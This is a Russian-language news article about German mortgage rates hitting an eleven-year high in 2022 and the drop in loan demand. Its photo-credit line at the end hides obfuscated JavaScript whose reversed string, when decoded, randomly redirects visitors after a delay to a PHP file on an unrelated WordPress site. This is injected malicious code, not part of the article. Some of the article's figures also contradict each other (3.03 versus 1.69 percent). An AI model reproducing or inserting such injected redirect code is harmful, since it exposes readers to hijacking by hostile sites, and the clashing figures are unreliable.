Процентные ставки по ипотеке в Германии достигли своего максимума за десятилетие

Процентные ставки по ипотеке в Германии достигли самых высоких значений за последние одиннадцать лет. В результате количество запросов на ипотечные кредиты резко сократилось.

По данным Европейского Центрального Банка (ЕЦБ), средняя процентная ставка по ипотеке в Германии достигла 3,03 процентов в сентябре 2022 года, став одним из наиболее высоких показателей в еврозоне. Более того, данный показатель более чем удвоился по сравнению с аналогичным периодом прошлого года. Кроме того, согласно данным FMH-Finanzberatung, процентная ставка по ипотеке с фиксированным процентным периодом в 10 лет в среднем по Германии составляет в настоящее время 1,69 процента. На 15 лет с фиксированной процентной ставкой она составляет 1,98 процента. Ещё два года назад историческими минимумами были 0,62 и 0,89 процента соответственно.

Такой резкий рост произошел на фоне нескольких повышений процентных ставок ЕЦБ, направленный на противодействие росту инфляции в Германии. Стремительно растущие затраты по займам подорвали спрос на ипотечное кредитование в еврозоне. Согласно последнему опросу ЕЦБ, в третьем квартале данный показатель упал на 42 процента, что стало крупнейшим падением с 2012 года (не считая рецессии, связанной с пандемией COVID-19 два года назад).

В отчете ЕЦБ уточняется, что падение спроса на ипотечное кредитование было «особенно заметным» в Германии. Частные покупатели и инвесторы на данный момент не торопятся брать ипотеку для дальнейшей покупки недвижимости. По данным поставщика финансовых услуг Hypoport, в третьем квартале 2022 года было выдано примерно на четверть меньше кредитов, чем годом ранее. В результате, рост процентных ставок в настоящее время находятся на самом высоком уровне с 2009 года.

ЕЦБ уже заявил, что, вероятно, продолжит ужесточение на своем следующем заседании по денежно-кредитной политике.

В то же время, эксперты отмечают, что при сохранении текущего спроса на недвижимость существует возможность возникновения дефицита предложения. Генеральный директор Dr. Klein Майкл Нойман аргументирует это тем, что многие люди будут продолжать хотеть приобрести собственное жилье, несмотря на инфляцию, рост стоимости жизни и цены на энергоносители.

to/heidelberg-germany-WXMQNKRE6Y»>Photo by $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocksnap.io»>StockSnap